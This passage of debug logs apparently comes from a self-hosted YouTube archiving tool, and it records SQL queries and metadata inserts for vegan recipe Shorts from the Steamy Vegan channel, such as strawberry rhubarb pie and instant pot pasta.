#steamyvegan #vancouvervegan #yvrvegan #veganeats #vegan #veganfoodshare #veganfood #veganrecipes #glutenfree #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #easyvegan #glutenfreelife #vegansofig #feedfeedvegan #feedfeedglutenfree\n\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!", "fa9f4090-6be2-4510-baf4-58a84cce3731", 1, [], 35, false, "Q0bK5NsmpdY", "https://www.youtube.com/shorts/Q0bK5NsmpdY", 164, "/downloads/downloads/alec/Steamy Vegan/2023-05-11 Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!/Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe! [Q0bK5NsmpdY].NA", false, false, true, 1, ~U[2023-05-11 21:59:19Z], ~U[2026-03-22 03:26:08Z], ~U[2026-03-22 03:26:08Z], "Strawberry 🍓 Rhubarb Pie 🥧 VEGAN, GLUTEN-FREE! ✨ it’s the most wonderful time of the year! \n\nLate spring and early summer is the season for STRAWBERRY RHUBARB EVERYTHING! And this pie does not disappoint. 🤩 The crust is tender, flakey with just enough chew, and the fruit filling is perfectly sweet and tart ♥️ \n\nFULL RECIPE VIDEO ➡️ https://youtu.be/42Ra2CeeUM8\nRECIPE BLOG ➡️ https://steamyvegankitchen.com/strawberry-rhubarb-pie/#wprm-recipe-container-1972\n\nFILLING 🍓\nFresh strawberries \n2 stalks rhubarb \nMaple syrup\nVanilla extract \nTapioca starch \nSalt\n\nCRUST 🥧 \nAlmond flour \nBrown rice flour \nCoconut sugar + agave syrup \nFlax eggs \nBaking powder \nAvocado oil \n\n#strawberryseason #strawberryrhubarb #strawberryrhubarbpie #vegandesserts #glutenfreedesserts #veganglutenfree #veganglutenfreerecipes #veganglutenfreebaking #pie #summerrecipe #steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #veganeats #vegan #veganfoodshare #veganfood #veganrecipes #glutenfree #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #easyvegan #glutenfreelife #vegansofig #feedfeedvegan #feedfeedglutenfree\n\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!", 1, 35, false, "Q0bK5NsmpdY", "https://www.youtube.com/shorts/Q0bK5NsmpdY", "/downloads/downloads/alec/Steamy Vegan/2023-05-11 Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!/Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe! [Q0bK5NsmpdY].NA", true, ~U[2023-05-11 21:59:19Z]] 20:26:08.186 [debug] QUERY OK source="sources" db=0.7ms idle=169.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:08.186 [debug] QUERY OK source="media_profiles" db=0.3ms idle=14.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:08.187 [debug] QUERY OK source="media_items" db=0.3ms idle=13.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [553] 20:26:08.187 [debug] Current batch of media processed. Will check again in 1000ms 20:26:09.188 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This vegan chicken salad sandwich recipe is out of this WORLD delicious. It's vegan and gluten-free, takes minimal effort to prep and requires only a few budget-friendly fridge staples!\n\nThis recipe uses SOY CURLS, which in case you've never heard of them, are basically the Chicken of the Plant World (as I lovingly refer to them as). They're super high in protein (11g per serving!), have a deliciously similar texture to chicken/meat, and absorb flavours like a beast!\n\nCheck out the full recipe video here! ➡️ https://youtu.be/_DJuoNkAa4Y\n\nDon't forget to subscribe for more weekly vegan and gluten free recipes!!!", "duration" => 36, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-10 Vegan Chicken Salad Recipe 😋 #shorts/Vegan Chicken Salad Recipe 😋 #shorts [CHxaCSIFEM4].NA", "id" => "CHxaCSIFEM4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/CHxaCSIFEM4", "playlist_index" => 165, "timestamp" => 1683730920, "title" => "Vegan Chicken Salad Recipe 😋 #shorts", "upload_date" => "20230510"} 20:26:09.191 [debug] QUERY OK source="sources" db=2.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:09.191 [debug] QUERY OK source="sources" db=0.3ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:09.194 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-10 15:02:00Z], 1] 20:26:09.196 [debug] QUERY OK source="media_items" db=2.4ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan chicken salad sandwich recipe is out of this WORLD delicious. It's vegan and gluten-free, takes minimal effort to prep and requires only a few budget-friendly fridge staples!\n\nThis recipe uses SOY CURLS, which in case you've never heard of them, are basically the Chicken of the Plant World (as I lovingly refer to them as). They're super high in protein (11g per serving!), have a deliciously similar texture to chicken/meat, and absorb flavours like a beast!\n\nCheck out the full recipe video here! ➡️ https://youtu.be/_DJuoNkAa4Y\n\nDon't forget to subscribe for more weekly vegan and gluten free recipes!!!", "Vegan Chicken Salad Recipe 😋 #shorts", "f60a405a-3bc6-4b3a-b242-d230f24138e3", 1, [], 36, false, "CHxaCSIFEM4", "https://www.youtube.com/shorts/CHxaCSIFEM4", 165, "/downloads/downloads/alec/Steamy Vegan/2023-05-10 Vegan Chicken Salad Recipe 😋 #shorts/Vegan Chicken Salad Recipe 😋 #shorts [CHxaCSIFEM4].NA", false, false, true, 0, ~U[2023-05-10 15:02:00Z], ~U[2026-03-22 03:26:09Z], ~U[2026-03-22 03:26:09Z], "This vegan chicken salad sandwich recipe is out of this WORLD delicious. It's vegan and gluten-free, takes minimal effort to prep and requires only a few budget-friendly fridge staples!\n\nThis recipe uses SOY CURLS, which in case you've never heard of them, are basically the Chicken of the Plant World (as I lovingly refer to them as). They're super high in protein (11g per serving!), have a deliciously similar texture to chicken/meat, and absorb flavours like a beast!\n\nCheck out the full recipe video here! ➡️ https://youtu.be/_DJuoNkAa4Y\n\nDon't forget to subscribe for more weekly vegan and gluten free recipes!!!", "Vegan Chicken Salad Recipe 😋 #shorts", 1, 36, false, "CHxaCSIFEM4", "https://www.youtube.com/shorts/CHxaCSIFEM4", "/downloads/downloads/alec/Steamy Vegan/2023-05-10 Vegan Chicken Salad Recipe 😋 #shorts/Vegan Chicken Salad Recipe 😋 #shorts [CHxaCSIFEM4].NA", true, ~U[2023-05-10 15:02:00Z]] 20:26:09.197 [debug] QUERY OK source="sources" db=0.6ms idle=177.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:09.198 [debug] QUERY OK source="media_profiles" db=1.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:09.199 [debug] QUERY OK source="media_items" db=0.5ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [554] 20:26:09.200 [debug] Current batch of media processed. Will check again in 1000ms 20:26:10.201 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "INSTANT POT PASTA! High protein and ready in 30 minutes. Subscribe and watch the full video!\n\ninstant pot pasta\n ½ lb. mushrooms, chopped\n½ large red onion, diced\n1 jar of pasta sauce\n3 cups water\n1 box (4 cups) chickpea pasta noodles of choice\n½ cup kalamata olives\n1½ tbsp maple syrup\n2 tbsp red wine or balsamic vinegar\n2 tbsp italian herbs\n2 tbsp garlic powder\nsalt and pepper to taste\n2 cups spinach or wilted greens\n\n1. Set IP to 'sautè' and warm 1 tbsp oil or ¼ cup water. Add the mushrooms and onions and sautè for 5 minutes until softened.\n2. Add all the remaining ingredients and stir to combine, pressing the noodles under the liquid to ensure they cook well. Turn off sautè, seal the lid on and cook on manual high pressure for 5 minutes.\n3. Let the pressure naturally release for 5 minutes, then do a quick release for the remainder. Remove the lid, stir in the spinach and let wilt for 5 minutes. Serve with vegan parmesan if you like and enjoy!\n\n\n\nMusic by Citrus Avenue - Dizzy's Dinghy - https://thmatc.co/?l=F1429B65", "duration" => 35, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-09 vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰/vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰ [Y4U3pUqNBxM].NA", "id" => "Y4U3pUqNBxM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Y4U3pUqNBxM", "playlist_index" => 166, "timestamp" => 1683657902, "title" => "vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰", "upload_date" => "20230509"} 20:26:10.202 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:10.203 [debug] QUERY OK source="sources" db=0.6ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:10.205 [debug] QUERY OK source="media_items" db=2.3ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-09 18:45:02Z], 1] 20:26:10.207 [debug] QUERY OK source="media_items" db=1.1ms idle=1006.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["INSTANT POT PASTA! High protein and ready in 30 minutes. Subscribe and watch the full video!\n\ninstant pot pasta\n ½ lb. mushrooms, chopped\n½ large red onion, diced\n1 jar of pasta sauce\n3 cups water\n1 box (4 cups) chickpea pasta noodles of choice\n½ cup kalamata olives\n1½ tbsp maple syrup\n2 tbsp red wine or balsamic vinegar\n2 tbsp italian herbs\n2 tbsp garlic powder\nsalt and pepper to taste\n2 cups spinach or wilted greens\n\n1. Set IP to 'sautè' and warm 1 tbsp oil or ¼ cup water. Add the mushrooms and onions and sautè for 5 minutes until softened.\n2. Add all the remaining ingredients and stir to combine, pressing the noodles under the liquid to ensure they cook well. Turn off sautè, seal the lid on and cook on manual high pressure for 5 minutes.\n3. Let the pressure naturally release for 5 minutes, then do a quick release for the remainder. Remove the lid, stir in the spinach and let wilt for 5 minutes. Serve with vegan parmesan if you like and enjoy!\n\n\n\nMusic by Citrus Avenue - Dizzy's Dinghy - https://thmatc.co/?l=F1429B65", "vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰", "e77b33e8-fabe-4346-9e22-7c6a845f6c5c", 1, [], 35, false, "Y4U3pUqNBxM", "https://www.youtube.com/shorts/Y4U3pUqNBxM", 166, "/downloads/downloads/alec/Steamy Vegan/2023-05-09 vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰/vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰ [Y4U3pUqNBxM].NA", false, false, true, 1, ~U[2023-05-09 18:45:02Z], ~U[2026-03-22 03:26:10Z], ~U[2026-03-22 03:26:10Z], "INSTANT POT PASTA! High protein and ready in 30 minutes. Subscribe and watch the full video!\n\ninstant pot pasta\n ½ lb. mushrooms, chopped\n½ large red onion, diced\n1 jar of pasta sauce\n3 cups water\n1 box (4 cups) chickpea pasta noodles of choice\n½ cup kalamata olives\n1½ tbsp maple syrup\n2 tbsp red wine or balsamic vinegar\n2 tbsp italian herbs\n2 tbsp garlic powder\nsalt and pepper to taste\n2 cups spinach or wilted greens\n\n1. Set IP to 'sautè' and warm 1 tbsp oil or ¼ cup water. Add the mushrooms and onions and sautè for 5 minutes until softened.\n2. Add all the remaining ingredients and stir to combine, pressing the noodles under the liquid to ensure they cook well. Turn off sautè, seal the lid on and cook on manual high pressure for 5 minutes.\n3. Let the pressure naturally release for 5 minutes, then do a quick release for the remainder. Remove the lid, stir in the spinach and let wilt for 5 minutes. Serve with vegan parmesan if you like and enjoy!\n\n\n\nMusic by Citrus Avenue - Dizzy's Dinghy - https://thmatc.co/?l=F1429B65", "vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰", 1, 35, false, "Y4U3pUqNBxM", "https://www.youtube.com/shorts/Y4U3pUqNBxM", "/downloads/downloads/alec/Steamy Vegan/2023-05-09 vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰/vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰ [Y4U3pUqNBxM].NA", true, ~U[2023-05-09 18:45:02Z]] 20:26:10.208 [debug] QUERY OK source="sources" db=0.4ms idle=186.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:10.209 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:10.209 [debug] QUERY OK source="media_items" db=0.3ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [555] 20:26:10.209 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This vegan and GF chia pudding is a great breakfast recipe to start your day with tons of protein and a meal that actually keeps you full. I used powdered peanut butter and some berries I had in the freezer to give it a peanut butter and jam style of flavour. Hope you enjoy!\n\nUse code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!", "duration" => 42, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-08 PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts/PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts [fC-93HUBRBo].NA", "id" => "fC-93HUBRBo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/fC-93HUBRBo", "playlist_index" => 167, "timestamp" => 1683589502, "title" => "PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts", "upload_date" => "20230508"} 20:26:10.210 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:10.211 [debug] QUERY OK source="sources" db=0.2ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:10.213 [debug] QUERY OK source="media_items" db=1.8ms idle=3.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-08 23:45:02Z], 1] 20:26:10.215 [debug] QUERY OK source="media_items" db=1.3ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and GF chia pudding is a great breakfast recipe to start your day with tons of protein and a meal that actually keeps you full. I used powdered peanut butter and some berries I had in the freezer to give it a peanut butter and jam style of flavour. Hope you enjoy!\n\nUse code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!", "PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts", "726e2ccb-75c6-4082-b50c-59fb0fe0623c", 1, [], 42, false, "fC-93HUBRBo", "https://www.youtube.com/shorts/fC-93HUBRBo", 167, "/downloads/downloads/alec/Steamy Vegan/2023-05-08 PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts/PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts [fC-93HUBRBo].NA", false, false, true, 0, ~U[2023-05-08 23:45:02Z], ~U[2026-03-22 03:26:10Z], ~U[2026-03-22 03:26:10Z], "This vegan and GF chia pudding is a great breakfast recipe to start your day with tons of protein and a meal that actually keeps you full. I used powdered peanut butter and some berries I had in the freezer to give it a peanut butter and jam style of flavour. Hope you enjoy!\n\nUse code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!", "PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts", 1, 42, false, "fC-93HUBRBo", "https://www.youtube.com/shorts/fC-93HUBRBo", "/downloads/downloads/alec/Steamy Vegan/2023-05-08 PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts/PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts [fC-93HUBRBo].NA", true, ~U[2023-05-08 23:45:02Z]] 20:26:10.216 [debug] QUERY OK source="sources" db=0.7ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:10.216 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:10.217 [debug] QUERY OK source="media_items" db=0.3ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND 